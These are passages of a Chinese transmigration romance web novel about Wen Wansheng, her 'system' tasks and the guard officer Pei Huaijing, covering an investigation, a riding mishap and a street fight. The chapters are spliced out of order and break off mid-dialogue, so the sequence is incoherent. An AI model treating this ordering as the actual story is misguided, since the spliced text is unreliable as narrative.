他默念一遍纸上所写地址,脑海里浮现与之对应的客栈,转手将它交给锦衣卫,漫不经心地看向温晚笙:“钱姑娘慢走。” “麻烦官爷了。” 温晚笙从裴怀璟接过纸的那一刻开始,就一直偷偷留意他的神色变化,见他表情无异才放下心。 当初写那封信时用的是左手,现在用的是右手。 她左手写出来的字与右手写出来的差别比较大,前者偏丑,主要是不惯用左手,后者偏清秀,一般来说很难发现出自同一个人。 哪怕裴怀璟善于观察,也未必可以看出其中端倪。 温晚笙庆幸自己写信的时候多了个心眼,面上却不显半分,带陶朱缓步徐行地走出文初书院。 出到书院外,她当即走街串巷,假装要买药治病,进了几个药铺,再从它们后门离开,防止裴怀璟有派人跟着她们,尽可能甩掉。 陶朱长年生活在宅院里,缺乏锻炼,没跑多久就气喘吁吁了,加上怕温晚笙会感到不舒服,想叫她停下来歇会:“七姑娘。” 温晚笙脸不红心不跳,跟做贼似的观望着四周:“怎么了?” 听这声音中气十足,哪里来的不舒服?好像还能跑上几圈。陶朱有点佩服精力旺盛的温晚笙,更佩服她在短时间内改变了这么多。 两年前她还是个娇滴滴的贵小姐,肩不能挑,手不能提,性格骄纵,爱乱发脾气,没马车绝不出门,多走几步路就会抱怨。 不过虽说温晚笙自命不凡,心比天高,但在人前会伪装。 她伪装成一个大度、和善可亲的贵女,以此获得大家的关注与赞赏、好名声,就连作为她父亲温三爷也不知道她平日的真面目。 所以在温晚笙行事作风发生改变后,只有她的贴身大丫鬟陶朱察觉异样,旁人都是浑然不觉。 有一阵子,陶朱甚至要怀疑温晚笙是假的七姑娘。 可她的一些罕见生活习惯还在,证明她确确实实是七姑娘。陶朱想,也许七姑娘想开了,不再执着于凡事都要压裴三姑娘一头。 陶朱见温晚笙没不舒服的苗头,改口道:“您为何要查那个傅公子?他和您生意有关系?怎么还牵扯上锦衣卫了?” 其实温晚笙也很疑惑,这件事怎么就跟锦衣卫牵扯上关系了呢。 傅迟失踪一事上报到官府,会被定性为“普通”的人口失踪案,忙着当皇帝手中刀、监控朝廷内外的锦衣卫怎会管这一桩案件。 温晚笙沉吟片刻,没打算告知陶朱关于书斋接江湖生意的事,就她那点胆子,准会担惊受怕的:“你别怕,我会处理好的。” 陶朱平复了呼吸,半信半疑看她:“当真不会有事?” 她“嗯”了声,瞧见不远处的遇仙楼牌匾旁挂着一只彩色大灯笼,又道:“你把身上的衣服换掉,到南山阁要一间雅间等我。” 在遇仙楼牌匾旁挂彩色大灯笼是托书斋办事的顾客有事联系书斋的信号。书斋是温晚笙和少年合伙开的,他不在,她要过去看看。 陶朱逐渐习惯了她的新行事作风,没多问:“您小心点。” 温晚笙绕路去了书斋。 她开的书斋跟京城其他书斋并无不同,进去就能看到陈列在架子的各类书籍,没走几步,挂墙上的几幅画也会映入眼帘。 那是温晚笙为了显得自家书斋高雅些,去路边小摊花十几文钱淘来的山水画。少年当时看了,只冷冷地说了一句话:“附庸风雅。” 温晚笙才不理他,依然往高处挂自己便宜得来的山水画。 此刻,温晚笙越过不知被谁挪动过位置的山水画,一步一步地上楼去。快到二楼时,上面传来一道女子的声音:“请留步。” 温晚笙站住了,听出此人是拜托书斋找傅迟的那个女子。无论是她自己,还是来找书斋办事的客人都有个心照不宣的江湖规矩,就是双方在交易过程中不露真容,防止以后有不必要的牵扯发生。 温晚笙在进书斋前就戴上一张跟少年一模一样的面具了:“姑娘今天过来是想问进展如何?” 女子安静须臾道:“你且先同我说说进展。” 温晚笙:“我在傅迟失踪前去过的院子发现一行字,刻在柜子里面的,我用帕子拓下来了,你可以看看是不是他的字迹。” “写了什么字?”“七姑娘!”陶朱和其他仆从一样候在大树底下乘凉,她一直有留意着温晚笙这边的情况,见人滚进草堆里,赶紧跑去扶。 草堆软绵绵的,温晚笙摔得不疼,就是头发和衣裙都插了些草,坐起来的瞬间像个精致稻草人,站在几步之远的裴怀璟倒是衣冠整齐。 陶朱心疼得很,轻轻地给温晚笙摘下这些草,问她怎么摔了。 温晚笙也抬手摘手臂上的草,乐观地想只要我不尴尬,尴尬的就是别人:“第一次骑马太激动了,下马后跑得太快,没站稳脚。” 她说得轻描淡写,半句不提袖手旁观的裴怀璟,却不知陶朱目睹了她滚进草堆里的整个过程。 正因如此,陶朱更心疼温晚笙了,毕竟是自家七姑娘,忙不迭扶她到旁边坐下,又迅速查看她露在外面的皮肤,生怕人磕着碰着。 确认温晚笙身上无伤,陶朱那一颗紧绷着的心得以放松。 “吓死奴了。” 她们闹出来的动静不小,裴馨宁得知温晚笙摔倒,立刻让夏子默扶她下马,着急赶来,此刻见温晚笙平安无事坐着才放心。 “乐允。”她唤了温晚笙的字,低语问,“这是怎么回事?” 温晚笙淡定地搬出用来应付陶朱的说辞,一字未改,嘻嘻地笑着:“是我自己太不小心了。” 如果不是自己约温晚笙来马场学骑马,她今天就不会受到惊吓了。裴馨宁愧疚不已,眼尾微红念叨道:“没事就好,没事就好。” 裴怀璟垂眸看被温晚笙压过的草堆,那里留下了较深痕迹。 而夏子默若有所思看了裴怀璟一眼。他在教裴馨宁骑马的时候,无意间转头看到温晚笙下马后跑向裴怀璟,裴怀璟侧身躲开的那一幕。 以他的身手,想阻止温晚笙跌倒应该是轻而易举的事,可他没有。是没反应过来,还是他误会温晚笙想奔向的是他后面,好心让路? 夏子默被自己最后那个想法逗笑了,怎么可能是好心让路。 他没克制住笑出声来。 裴馨宁回头错愕地看着夏子默,以为他这是在取笑自己的手帕交温晚笙摔倒后的窘态,没该有的分寸,好感顿时降了三分。 她既羞愧,又愤怒,小脸憋得通红:“夏世子何故发笑?” 是个人都能察觉到裴馨宁语气有变,暗含质问。虽说夏子默习惯以玩世不恭的态度去面对大多数事情,但此时不由得正色。 他能言善辩,欲出言化解裴馨宁的误解:“我没别的意思,裴三姑娘别误会,我不是在笑温七姑娘,只是突然想到了一些……” 可惜,愣是夏子默再能言善辩也遭不住被人打断施法。 裴馨宁将温晚笙看得很重要,柔弱如她竟狠下心来头一回对他冷脸:“好了,我累了,先和乐允回去。”她转过身看裴怀璟,“二哥。” 裴怀璟知道裴馨宁想说什么,扫了一眼满脸无辜地看着他们争吵的温晚笙:“我送你们回去。” 温晚笙挑了挑眉。 老天作证,她绝无一丝一毫挑拨这对小情侣的意思。之所以不开腔阻止他们吵架,是因为温晚笙清楚裴馨宁擅长脑补的性格。 只要她开口替夏子默说话,裴馨宁就会认定她是惧于世安侯府的势力,被他肆无忌惮嘲笑了,也不敢得罪世子,想要息事宁人。 如此一来,裴馨宁会更生气,为她与他生了难解嫌隙。 温晚笙当然不是什么息事宁人的主儿,可敢肯定夏子默不是在笑自己,笑什么就不知道了,他也是倒霉,这一笑撞裴馨宁枪口了。 最好的解决办法就是等裴馨宁气消了,夏子默放低身裴来一哄她,温晚笙过后再表示不在意,她心太软,事情很容易翻篇的。 温晚笙当没看到夏子默沮丧后悔的眼神,抬步走进马车。 进去好一会,她才看到裴馨宁慢慢扶裙而入,对方神情还隐有羞怒,但淡了点,怕不是在上车前又被夏子默拦下解释一番。 陶朱岂会感受不到气氛微妙,眼观鼻鼻观心,眼疾手快过去帮忙扶住帘子:“裴三姑娘。” 裴馨宁闷闷不乐地坐到温晚笙身侧,脑袋紧靠着她肩膀。 伺候裴馨宁的丫鬟和陶朱对视一眼,二人默契退出马车,只留她们。也不知温晚笙使了什么法子,不到片刻,裴馨宁便被她逗乐。 裴怀璟手握缰绳骑着另一匹马,不远不近跟在马车后面,听见女儿家隐约的笑声,无动于衷。 马车内,温晚笙哄好了裴馨宁后掀开帘子往外看。 折返回城中经过山温,翠绿的树枝稀碎了从天而降的阳光,导致落影杂乱,看得人头晕目眩,她以手遮额,缓解一二。 后方有马蹄声,温晚笙视线随之移动,而裴怀璟骑马时需要往前方看,他们的眼神不期而遇。 裴怀璟的眼神落在温晚笙的脸上,温晚笙的眼神却落在了他腰间。 在他发觉她的目光再不受控制落到他腰间之前,温晚笙缩回往外看的脑袋,放下帘子。她唏嘘,看来今天是没能完成任务了。 回到温家,温晚笙倒床就呼呼大睡,心力交瘁了,骑马消耗体力,想办法抱裴怀璟消耗心力。 有什么事明天再说。 她把帕子往楼上扔去:“还是你自己看看吧。” 楼上响起轻微的脚步声,帕子想必是被女子捡起来了。温晚笙原地不动:“是他的字迹?” 画中男子脸瘦长,眉眼透着一股正气,眼角有一颗很小的痣,鹰钩鼻,人中较长,唇偏厚。 纸的下方有几行清秀的字:傅迟,扬州临泽人,二十六岁,明元七年进京赶考,落榜后暂留文初书院,明元八年不知所踪。 温晚笙将小像收起,拐进巷尾一间荒废了的小院。 她是温家姑娘,白天不太好光明正大到这种地方来,迫不得已之下只能选择夜晚来了。今夜行动前,她曾去调查过傅迟。 有人曾目睹他在失踪前只身来过这里,此后便消失了。 院门没上锁,温晚笙不费吹灰之力进去了,结果被烟尘呛一脸,她皱眉望着遍布蛛丝的房梁、柱子,偌大一张蛛网还爬着黑蜘蛛。 乌云遮天,月光昏暗,阴冷晚风扑面而来,温晚笙放轻脚步。 墙体经过积年累月的风吹雨打变得斑驳,散落在院中的桌椅散发着陈年腐朽的气息,风吹动掉到地上的灯笼,发出诡异摩擦声。 温晚笙听着这些声音,恨不得把去了苏州的少年郎抓回,她即使跟他学过几招,身上有他给的毒,也无法胜任寻人的任务。 可既然来都来了,临时打退堂鼓不是她的风格。 请财神保佑她顺利找到傅迟的行踪,顺利离开此处,顺利收到银钱。 温晚笙壮着胆子走进靠大门最近一间房,搜罗一圈没发现什么,到另外两间房看,依然一无所获,也没找到暗室之类的东西。 她正要离开,脚还没踏出房门就见一男子跌跌撞撞跑进来。 温晚笙迅速找地躲。 她躲进了角落里的衣柜,抵着柜门,手却措不及防被什么东西刮了下,定睛一看,柜门内侧刻有几个字:殿下他还活着。 殿下他还活着? 哪个殿下? 看刻字的力度和字迹,绝非小孩,应该是个成年男子。 温晚笙慌忙间倒了些随身携带的药粉到柜门内侧,再掏出一张帕子往那里重重印了印,留下这行字的痕迹,仔细叠好放袖里。 “哐当”一声,跑进来的男子好像撞掉了什么东西,他也在找地方躲,好巧不巧躲进了她藏身那间房,喘息声离温晚笙越来越近。 她蹲在衣柜里祈祷:不要来这,千万不要来这! 老天可能漏听了,把“不要来这”听成了“要来这”。衣柜被男子拉开,少得可怜的月光沿着窗进来分给温晚笙几分,令她无所遁形。 男子愣住,与此同时,外面传来一阵阵脚步声。 他来不及换地方了,抬腿钻进衣柜,关上两扇小门,用匕首指着温晚笙,示意她不要出声,逼仄的空间勉强装下他们两个人。 温晚笙不是第一次遇到威胁了,暗道倒霉,表面顺从男子,手却落在腰间,毒.药就藏在裙带里,有致命的,也有只令人昏迷的。【】 50-60 第 51 章 第 51 章 少女眼前猛地一黑,如同坠入无底深渊,随即又豁然开朗,重见光明。 上一秒还觉得头重脚轻,下一秒,所有的沉重如潮水般褪去,了无痕迹。 像是吃了什么灵药。 视力好了不少,身体也轻盈了不少。 温晚笙怔怔地站在原地,眨了眨眼,眸中尽是茫然。 她记得她在宫宴来着。 怎么还瞬间移动了? 她用力拍了拍自己的脸。 居然传来很真实的痛感。 南山阁生意一如既往的好,小二忙得脚不沾地,食客络绎不绝,人声鼎沸,到处是欢声笑语。 温晚笙坐在面朝戏台的雅间里,时不时抬眼看一下对面。戏台之上,优伶妆容厚重,戏腔优美,婉转入耳,唱词也深得人心。 裴怀璟就坐在她左边,手随意搁到一旁,指尖若即若离地触着木桌面,也看着唱戏的优伶,神情专注,像是没东西能打扰他一样。 这是温晚笙第二次主动跟他说有话同他说了,裴怀璟耐心等着。 她没让他等多久,待对面优伶唱第三句唱词时,温晚笙侧过身来端起小二沏的热茶,给他倒了一杯推过去:“裴大人,请喝茶。” 裴怀璟望着桌上这杯茶,想起了温晚笙小时候给他的那块外形精美,闻起来香甜可口的糕点。 他不适宜吃胡桃,一吃便会起疹子、呕吐,严重时出现呼吸困难,甚至会死。而她给他的糕点正好有胡桃粉,未免过于巧合了。 茶香四溢,清幽淡雅,裴怀璟看了却没拿:“我不渴。” 温晚笙没放心上,自己倒是喝了一杯茶润润嗓子,神秘兮兮凑过去,很小声道:“我想说的重要的事是,有人要杀裴大人你。” 她的呼吸落到裴怀璟耳边,带来一缕女儿香。他不自觉侧开脸,冷静问道:“有人要杀我?谁?温七姑娘你又是如何得知此事?” 书上写的。温晚笙顿了下:“我也是偶然得知。” 原著确实提到过裴怀璟被行刺,但性命无虞,所以她起初不想掺和进这件事。眼下没借口接近他完成任务,只好拿它来当跳板了。 裴怀璟轻裘缓带,面上不见慌乱与担忧之色:“偶然?” 温晚笙绞尽脑汁:“我平日不喜欢闷在家中,整天往外跑。今天也是,我早上经过一条小巷子,听到里面有人说话,提到了你。” 隔在他们中间的桌子不大,她凑过来后,发间几条丝绦无意落到了裴怀璟手背上。痒意传来,他不动声色地拉开距离:“然后呢?” 温晚笙没留意裴怀璟的动作。 “于是我停下来听,他们说起了行刺你的事。” 她说得来劲,似煞有其事,不知不觉又凑近了不少,几乎是耳语:“不过他们没详细说会怎么做,所以我不知道他们的计划。” 裴怀璟站了起来,行至窗台,双手轻叩窗沿,目视不远处还在捏嗓唱戏的优伶,眼神却没聚焦:“你有没有见到他们的脸?” “没。怕被发现,没敢靠近看他们长什么样。” 温晚笙说完又盯他的腰了。 见裴怀璟再次背对自己,她情不自禁对着他的方向,隔空尝试性做了几个抱人姿势,想感受一下怎么样抱他才更合适,更容易成功。 裴怀璟是男子,身材跟她的丫鬟陶朱不一样,腰腹高度也不一样。最关键的是陶朱不会反抗,他会,温晚笙没法拿陶朱来练手。 长这么大,她还没抱过男子,对象还是裴怀璟,感觉好别扭。 温晚笙不清楚的是窗前挂着一只银铃,这是为了方便上等雅间客人敲铃换戏,每天都会被小二擦得干干净净,干净到能倒映画面。 裴怀璟看唱戏优伶的目光不知从何时起转移到那只银铃。 小小银铃上有温晚笙的倒影,她正对着他做些奇奇怪怪的动作,双手伸到半空中动来动去,过一会换一个姿势,却不像是要杀他。 下一刻,裴怀璟透过银铃看到了温晚笙踮着脚,竟悄悄朝前走了两步。他悄无声息抬起手握住腰间绣春刀,目光还停在银铃上。 却见温晚笙的表情纠结万分,又踮着脚悄悄走回去了。 裴怀璟松开了绣春刀。 坐回原位的温晚笙还有心情吃一块小点心,没发现如果自己刚刚再往前走一步,疑心重的裴怀璟就会对她动手,完美避开这一劫。 温晚笙觉得自己偷偷对裴怀璟做那些“轻薄”动作,有点像觊觎着对方美色的变态,太古怪了。 她清了清嗓子道:“裴大人,你信我方才说的话了?” “我信。” “为何不信?温七姑娘没理由骗我,我信你所言。”裴怀璟不再看银铃,回眸看温晚笙,笑了,“多谢告知,我会派人去查。” 温晚笙飞快错开眼,自告奋勇:“我可以帮你。” “你帮我?” 戏台一曲终了,雅间暂时只剩他们的声音,温晚笙说:“我是没看到他们的脸,但我记得他们的声音,我可以帮你找出他们的。” 怕裴怀璟误会自己质疑他身为锦衣卫的实力,她补一句:“我不是觉得你对付不了他们的意思,只是明枪易躲,暗箭难防。” 一口气说了那么多话,温晚笙又口渴了,不断地看茶壶。 裴怀璟离开窗台,回到桌旁,骨节分明的手提起茶壶,一举一动跟画似的,颇为赏心悦目。他给温晚笙倒了杯茶,递到她手边。 温晚笙“受宠若惊”地接下,可看了几眼却没喝。 她不太放心喝他给的东西……温晚笙这时反应过来了,裴怀璟为什么不喝她亲手倒的那一杯茶。 裴怀璟好整以暇地凝视着她,轻声道:“温七姑娘今天所为当真是令我刮目相看。这样做,你也会有危险,不怕他们会伤害你?” 温晚笙昧着良心道:“能够帮到裴大人就好了。” 他看她半晌:“温七姑娘打算怎么样帮我找出他们?他们要是一直藏在暗处,你听不到他们的声音,即便记得声音又如何?” “你可以一离开北镇抚司和裴府就带上我。他们不会一直藏在暗处不出现的,其中有一人是锦衣卫,近日必有所行动。七天,就七天,待他们出现即可。” 裴怀璟不解:“为什么是七天,他们说了会在七天内行动?” 温晚笙心虚“嗯”了声,她通过原著知道他近日会被行刺,但具体时间不知道,这七天是按照任务所剩时限来的,想留足点时间。 过了片刻,裴怀璟才应她。 “好,那接下来这七天,就有劳温七姑娘帮忙了。”他此时声音很轻,很柔,没攻击性,还好听,按理说听着容易产生怜惜欲。 温晚笙听着却感觉被一条冰冷毒蛇盯着,它有可能会伺机爬舔过自己的身体,一口咬死她。 唢呐敲鼓齐响,花车载着花魁朝着东街去,要离开西街了。 闻到血腥味的温晚笙心思被转移,没看下去,她嗅觉灵敏,很快就找出了血腥味的源头。 是裴怀璟的手腕。 “你受伤了?什么时候?”她低下头,能看见他护腕的颜色变深了,被血浸湿的可能极大。 裴怀璟当然不会告诉她,是他自己割的手腕伤口裂开了。 他没回她,腰间的绣春刀却锵然出鞘,一声清脆回荡后,眨眼间便越过人群,带着危险杀意插进花魁身后的那个花球。 这突如其来一刀惹得在场众人惊呼,纷纷地后退几步。温晚笙也不明就里,看向插着绣春刀的花球,有血顺着刀锋滴落到花车上。 有百姓震惊道:“血!花球里莫不是藏人了?”花魁心急如焚回头看了正在与裴怀璟搏斗的男子,无声地喊了句“蒋郎”,脚步却不停顿,反倒加快,因为她清楚自己没得选了。 温晚笙很有自知之明,没去拦逃走的花魁和谢五。 裴怀璟是锦衣卫,她又不是,温晚笙头脑清醒,不会轻易涉险,只记挂着赚钱,带阿娘离开温家,最近多了个任务,就是抱他。 这事不归她管。 温晚笙左顾右盼,找了个有瓦遮头的位置站,免得待会下雨淋湿衣裳,就这样美美地隐身了。 她对面便是被打得快散架了的花车,忽听一声重响,男子被踹落花车,脸颊、手背皆被花刺所伤,一张俊俏的脸变得不堪入目。 他们又恐惧又想知道是怎么回事,迟迟没找地方躲起来,不远不近地看着花车。 花球缓慢盛开,仿佛真正的花,可里面不是花蕊,而是一个活生生的人。花魁和男子似乎对此并不惊讶,只是二人的面色难看。 温晚笙此刻和大多数人相同,出于好奇注视着花球里面的人。 他是个男子,脸颊消瘦,眼窝微微往里凹陷,泛白唇瓣缺水干裂,即使如此狼狈落魄,也无法掩盖容貌出色,气质出众。 男子一身衣衫染满脏污血渍,几乎看不出原来的颜色,双手看起来被人上过刑,骨节错位,指甲全没了,鲜血淋漓,皮肉外翻。 不过这些伤对他来说算轻伤了,最重的一道伤在腰腹。 他腰腹上有一截不知何时中的短箭,尚未取出来,应该是急着离城,没条件止血,怕失血过多,箭拔人亡,所以先留在身体里。 不久前,裴怀璟又给男子添了一道新伤,他插进花球的绣春刀恰恰刺中了男子肩头,顺着刀锋流出来的血也是出自这个伤口。 温晚笙不忍直视,单是想想这些伤出现在自己身上都疼得慌。 这个人是谁?百姓这时才发现有锦衣卫,忙不迭散了,怕被扣个干扰锦衣卫办差的名头。刚刚街上还万人空巷,现在只剩下几人。 花魁忙护着谢五往后退。 谢五不会武,是个文人,又被用过酷刑,身体伤痕累累,没旁人相助,被抓后难逃一死。 他曾救过她,花魁没忘,即使今天身死也要送他安全离开。 眼看着场面即将不可控,温晚笙却仍然没离开裴怀璟的身边,商人就该抓住每一个能成功的机会。 裴怀璟的绣春刀被男子拿去了,他此时双手空无一物。她琢磨着要不要给他去找一个称手的武器,可这离他们近的只有鲜花吃食。 兴许是温晚笙东张西望的存在感太过强,裴怀璟偏头看她。 “温七姑娘?” 言下之意无非是你怎么还在,不该找个地方躲起来?温晚笙听出来了,故作不明,往腰间掏药:“我有毒.药、迷药,你要哪个?” 裴怀璟瞥了她腰间一眼:“毒.药、迷药,你还随身带这些?” 她想说他的关注点偏了:“出门在外,小心为上。你要不,我先借你用。不,给你用。” “不用,谢了。” 不要就不要。温晚笙把快掏出来的药又塞回去:“哦。” 裴怀璟从花车上折了一截带刺徘徊花,红如火的花瓣倒映在他眼底,徒生一抹勾人艳色,侧目往谢五看去时又是嗜血的肃杀之色。 守护着谢五的男子决定先发制人,沿着花车纵身一跃,身手矫健,手挽绣春刀劈向裴怀璟。 站在裴怀璟身边的温晚笙为躲避这一杀刀,被迫侧身与他分开。 男子有意拖着裴怀璟,一刀未停,另一刀又起,全是奔着夺命去的,倒是没怎么理会温晚笙。 裴怀璟抬起眼,以徘徊花压过刀背,待男子提刀欲就此砍断那一截花时,他转腕收回,靴子轻点身侧木桩,跃至花车的花球之上。 见此,男子追上去,花魁趁机拉着谢五朝街巷隐蔽处逃去。 温晚笙目光追随着裴怀璟。 花车正因打斗摇摇欲坠,男子刀锋裹风,也裹着内力,这次连出三刀。裴怀璟弯腰后仰,泛寒绣春刀扫过他身前,他却毫发无损。 一阵一阵刀风激得花车周边的花瓣散落,像下了一场花雨。 男子见二人距离拉近,抬手挥出藏于袖中的含毒暗器,直逼裴怀璟命门,千钧一发之际,他徒手接住那枚暗器,反掷向对方。 同一时间,裴怀璟手中的徘徊花极快地缚住了男子双手,花刺扎得他皮开肉绽,冒出血珠。 男子不管不顾挣开腕间徘徊花,花刺深入骨肉。 裴怀璟眼尾微扬,暗含杀戮的快意,信手折下另一截徘徊花,抵住男子的脖颈。花刺带水,凉飕飕划过大动脉附近,男子匆忙躲开。 虽说男子没被那徘徊花划破大动脉,但也被划出一道血痕。 天色乍然由晴转阴,在短时间内仿佛被一层薄纱从头到尾蒙住,未见雨来,先闻闪电雷声。 裴怀璟会对花球动刀,想必是通过一些蛛丝马迹,猜到里面装着一个人,还是个戴罪之人,不然也不会当街拔刀相向,伤了对方。 温晚笙脑海里浮现今早缇骑和裴怀璟的对话:谢家活口,人是在长兴巷逃走的,又受了重伤。 此人莫非与谢家有关? 她虽有这个想法,却没法确定,因为没见过谢家人。 百姓们在看清男子的脸后更是诧异,面面相觑,窃窃私语道:“那不是谢家的五公子?他不是死了?怎会出现在西街?” “你这就有所不知了,他在行刑前逃了,也是个有能耐的,官府正通缉他呢,没看到这两天全城戒严,出入都要经过搜查?” 围观妇人问:“他想藏在花球里躲避官兵的搜查,出城?” “一看就是。” 挑着扁担卖烧饼的麻子脸插一句:“花魁好像是知情的,他们竟然敢助他,真是胆大包天,换作我,肯定上报朝廷领赏。” “谢家真的有罪?会不会被人冤枉了,以前谢家还开仓赈灾,给难民提供地方住,还给他们请大夫治病,救了不少人的命呢!” “做作样子而已,谁不会?看看就得了,别被骗了。” “我想起来了!” 有人嚷嚷道:“我想起来了。这个花魁是谢家五公子的红颜知己,他们以前经常吟诗作对,切磋棋艺,曾是京城一裴佳话呢。” “你这么一说,我也想起来了,好像是有这么一回事。” 一个贵公子经常去找个貌美的花魁,不为寻欢作乐,一言一行无关情爱,也无关肉.体之欲,叫人闻所未闻,印象深刻。 “谢家五公子真是好福气,能得佳人为他如此冒险行事。” 花魁没理会他们的指指点点,挺身护在谢家五公子前面:“五公子,您先走,我们断后。” 她身旁的男子敛起先前咬花的浮浪神色,捡起随着花球绽放而掉到的绣春刀当武器:“对。五公子,您先走,我们断后。” 谢五面容憔悴,单手捂住腰腹箭伤,看着裴怀璟,抿唇不语。 裴怀璟却没看他,不疾不徐取出一支竹筒,拧开后有东西朝上空发射,“咻”一声,红光掠过晴空万里的天际,像烟花盛开。 这显然是通知锦衣卫的信号,不出一刻,锦衣卫必到。 他发现,她还是闭眼时,更有趣些。 至少,不会想着离开。 “有话起来说。” 温晚笙手腕挣了挣,灵机一动道,“你知道吗,你现在最需要的是醒酒汤,我可以去帮你弄!” 话里话外,都在盘算着如何脱身。 少年忽然笑出了声。 那笑声很轻,从喉间溢出,带着一丝被酒意浸染的沙哑。 温晚笙心底发毛,张了张嘴,却在下一瞬,骤然瞪大眼。 他咬住了她的唇。 第 52 章 第 52 章 酥酥麻麻的,并不算疼。 可不知是酒意未散,还是别的什么情绪在作祟,温晚笙胸口猛地窜起一簇邪火。 这家伙居然敢咬她? 纵然是她有错在先,强迫他在先,可也不能这么报复啊。 被咬住的是下唇,因而她一张口,就轻而易举地咬住了他的上唇。 没有半分迟疑,她反客为主,狠狠咬了回去。 一瞬间,血腥味在唇齿间炸开,与残留的酒香纠缠在一起,蛮横地搅乱所有理智。 少年纤长浓密的睫毛骤然一晃,像受惊的蝶翼。 刺痛顺着相贴的唇蔓延开来,如细密电流般窜向四肢百骸,激得每一寸筋骨都微微战栗。 很疼。 她在折辱他。 她又生气了。 裴怀璟手持徘徊花,居高临下看了眼地上的男子。 温晚笙定睛一看,发现男子膝骨被打入了花刺,他用内力逼出带血的花刺,爬着想站起来。 不等男子站起来,裴怀璟转身掷出一截徘徊花,目标不是他,而是已经跑得有点远了的花魁。 刹那间,徘徊花疾如雷电般穿过空气,艳花瓣随风簌簌掉落,最终剩下的裹刺花枝击中花魁的穴位,她踉跄几步,吐出一口血。 她心知不妙,咽下血沫:“五公子,您快走,别管我们。” 谢五扶住花魁,面色更白了。他因长时间受刑,瘦骨嶙峋,身体虚弱,嗓音不复昔日悦耳动听,变得嘶哑:“对不起。” 哗啦一声,大雨倾盆而下,淅淅沥沥,冲散萦绕在西街上的血腥味,水流顺着高处往低处流。裴怀璟离开花车,踏水朝他们走去。 就在裴怀璟快靠近他们时,沿街高楼窗边忽射出一支箭。 箭矢脆响被激烈的雨声掩盖,却被温晚笙叫声打破,她喊道:“小心。有箭,东南方向。” 实际上,裴怀璟也看到了那一支箭,也想好了解决办法。 不料有人在他身后扔出一块还算厚实的木板,射来的铁箭直愣愣插进了拿来当挡靶的木板。 扔出木板的温晚笙不再继续躲雨,冒雨跑到裴怀璟面前。 裴怀璟怀疑她出手相助是别有用心,却又忍不住想知道她到底想干什么,于是这次原地不动。 匪夷所思的是温晚笙张开双手,环住了他的腰腹,抱住了他。 温晚笙的身体贴着他,裴怀璟能闻到的女儿香愈发浓郁,糅合了雨水的清冽气息。在她抱住他的瞬间,他竟被她扑得往后退了一步。 时间一晃,便过去了七天。 温晚笙一开始还悬着心,思忖着该怎么面对裴怀璟。 然而很快她就发现,这所有的忐忑和筹谋,都是徒劳。 因为那天过后,她压根没有再见到他。 “温姐姐”被好友轻轻一唤,温晚笙陡然回过神来,指尖一动,险些碰翻案上的墨砚。 她下意识抬眼,恰好撞入前方一道端肃平静的视线。 虽然后知后觉地立刻挺直了腰背,摆出专心听讲的模样,但显然已经晚了。 都说事不过三,现在是第四次,温晚笙算是彻底明白了,系统这是要她以后也走原著的剧情。 这也都是“温晚笙”选出来的路,而不是系统恶趣味胡编乱造。换而言之,要是她没那么做,没那么疯,也就不会有这些任务。 温晚笙回想了下原著剧情。 原著里她得知裴馨宁和夏子默私底下在一起后拈酸吃醋,见怎么也分不开他们,愈发丧心病狂,阴计频出,恨不得裴馨宁去死。 为了报复他们,恶毒女配“温晚笙”,破罐子破摔,不分场合发癫,像个疯子,甚至曾当着众人的面强亲裴馨宁的二哥裴怀璟。 当时“温晚笙”的爆发力异常强,几个人都拉不开她,她硬生生地强亲了裴怀璟三十息,亲到唇角都破了,激烈到让贵女不敢多看。 三十息,足足三十息! 她的唇角破了,裴怀璟的也没好到哪儿去,薄唇有带血牙印。 裴怀璟对外是个温文尔雅的贵公子,还有裴馨宁拦着,他自然不会当场杀她,也不会对她动粗。 “温晚笙”就是拿准这一点,肆意地抓住他强亲。 她要恶心死裴怀璟,亲完还演出一副意犹未尽的样子,不要脸地说想与他成婚,当他的妻子。 “温晚笙”知道自己没办法与夏子默成婚,便不顾自己的名声也要嫁给裴怀璟,没法当夏子默的妻子、当世子夫人,那就当他的嫂子。 夏子默和裴馨宁这辈子都别想逃离她,“温晚笙”扭曲地想。 可裴怀璟是何许人也,他不想的事,谁能逼得了他?没如“温晚笙”愿,没娶她。“温晚笙”成了京城的一大笑话,她却依然很高兴。 只要能够恶心到他们就行了,她不好过,他们也别想好过。 尽管温晚笙之前就感慨过“温晚笙”的脑回路,现在也不得不再感慨一遍,什么破脑回路,分明是杀敌一千,自损八百,太能折腾了。 大雨如掉了线的珠子滚落,声声入耳。温晚笙还站在西街,握伞的手一松,油纸伞从她掌心滑落,往地上倒,又被人接住了。 接住伞的人是裴怀璟,他把伞还给了她,却没碰到她。 温晚笙忘记自己是如何拿着油纸伞回到温家的了,只记得裴怀璟婉拒了她送他回北镇抚司的好意。 而温晚笙满脑子是“亲裴怀璟”这三个字,没回过神来。回过神时,她已经坐在房间里,被陶朱脱得光溜溜的,伺候着沐浴了。 浴汤洒满花瓣和香料,桂馥兰香盈满整个房间。 陶朱细细地给温晚笙搓干湿头发:“七姑娘,您今天究竟去哪儿了?怎会淋了一身雨,也不知找个地方避避雨,又不是急着回来。” “纵使您不喜欢听夫人说的那些话,也不能这般糟蹋自己的身体,若当真不喜册子上的世家公子,再找便是,夫人定会依您。” 温晚笙安静听着她的念叨,用手指弹飞水上漂着的一片花瓣。 见她不语,陶朱叹气:“奴也知道,有些话,您不爱听。可夫人她也是为了您好,您可千万不要为了此事跟夫人离了心。” 说罢,陶朱松开温晚笙的头发,绕到她前面看她。 暖黄烛火明亮,洒照在温晚笙赤着的身子,瓷白的皮肤被温热浴汤泡得微红,她脖颈半弯,脑袋靠着浴桶壁,长发垂在外面。 没了胭脂修饰,她长相极富攻击性,天生微上挑的眼角透着抹艳丽,斜睨着人时有种将你踩在脚下的错觉,又有青春年少意气。 可自两年前起,她就没拿过这种我瞧不起你的眼神看人了。 两年前,温晚笙总会有意无意用这种眼神看人,要经过陶朱提醒才记得收敛,维持着知书达理的贵女形象,好找到一个名门夫婿。 陶朱看了温晚笙几眼,觉得她今晚有点过分安静。 要是从前,温晚笙听到这些话,少不得跟她理论一番。难道是淋雨淋出病来了?天虽不冷,但淋雨或许也会着凉的,这可不得了。 陶朱放下给温晚笙擦身的帕子,扬声问外面的丫鬟:“不是让你们去拿姜汤了?姜汤呢?” 丫鬟闻声赶紧捧着一碗冒着热气的姜汤走进来:“来了。” “你们就仗着七姑娘心善,不计较。往日犯懒也就罢,事关七姑娘身子,还敢犯懒?仔细你们的皮。”陶朱拿出大丫鬟的气势。 